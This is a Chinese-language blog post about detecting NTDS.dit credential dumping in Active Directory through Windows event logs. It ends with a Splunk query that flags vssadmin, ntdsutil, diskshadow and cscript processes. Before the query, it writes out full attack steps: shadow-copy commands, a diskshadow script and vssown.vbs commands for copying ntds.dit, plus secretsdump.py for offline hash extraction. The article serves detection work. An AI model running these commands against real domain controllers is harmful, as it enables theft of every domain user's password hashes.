前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于AD Event日志检测NTDS凭据转储攻击

基于AD Event日志检测NTDS凭据转储攻击

作者头像
Bypass
发布2022-12-01 11:11:37
5520
发布2022-12-01 11:11:37
举报
文章被收录于专栏:Bypass

01、简介

在域环境里,域内用户hash存储在域控制器(ntds.dit)中的数据库文件中,ntds.dit文件是无法直接被复制的。在这种情况下,我们一般可以利用卷影复制服务(VSS)来实现ntds.dit的拷贝,然后下载进行离线分析和破解用户哈希。

02、利用VSS实现ntds.dit文件提取

(1)vssadmin

Windows卷影工具,使用Vssadmin来管理VSS,用来创建和删除卷影拷贝。

代码语言:javascript
复制
#创建一个新的卷影副本
vssadmin create shadow /for=c:
#将ntds.dit文件复制到新的位置
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
#删除卷影副本
vssadmin delete shadows /for=c: /quiet

(2)ntdsutil

ntdsutil.exe 是一个命令行工具,可提供对AD的数据库维护功能,执行命令后,生成两个新文件夹:Active Directory 和 Registry,ntds.dit 文件将保存在 Active Directory 中,SAM 和 SYSTEM 文件将保存到registry文件夹。

(3)DiskShadow

Diskshadow.exe是一种工具,用于进行 VSS相关的操作。

a、将如下内容保存在command.txt文件:

代码语言:javascript
复制
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
delete shadows all
list shadows all
reset
exit

b、进入C:\Windows\System32目录下执行:

代码语言:javascript
复制
diskshadow /s C:\command.txt

(4)vssown

vssown 是一个 vbs 脚本,可以创建和删除卷影副本,github下载地址:

代码语言:javascript
复制
https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
代码语言:javascript
复制
#启动卷影拷贝服务
cscript vssown.vbs /start
#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
#列出卷影考本
cscript vssown.vbs /list 
#将目标文件复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\ntds.dit
#删除卷影拷贝
cscript vssown.vbs /delete {71E09CF1-5FF4-4F29-B676-B669A28713DC}

(5)离线破解

通过卷影拷贝服务(vss)提取ntds.dit,需要将ntds.dit、system和sam文件 下载到本地,通过 impacket 套件中的 secretsdump.py 脚本进行破解:

代码语言:javascript
复制
secretsdump.py -sam sam.hive -system system.hive -ntds ntds.dit LOCAL

03、NTDS凭据转存攻击检测

基于以上ntds.dit文件提取的方式,通过AD Event日志监测有两种思路:

(1)在System日志中,调用卷影复制服务(VSS)会生成Event ID为7036的事件,但没有记录用户信息,无法判断来源,容易误报。

(2)在Security日志中,通过监测创建vssadmin、ntdsutil、diskshadow、cscript的进程名称,可以找出谁什么时间在哪台服务器上做了VSS相关的操作,实时检测异常的攻击行为。

代码语言:javascript
复制
index=ad EventCode=4688  match_src_user!="*$" NewProcessName IN ("*vssadmin.exe","*ntdsutil.exe","*diskshadow.exe","*cscript.exe")
| stats count  min(_time) as  start_time max(_time) as end_time by  match_src_user ComputerName   NewProcessName
| rename match_src_user as user
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,服务器:"+ComputerName +"疑似遭受NTDS凭据转存攻击"+count+"次,新进程:"+NewProcessName+" 操作账号:"+user
| table start_time end_time user  message
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-11-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档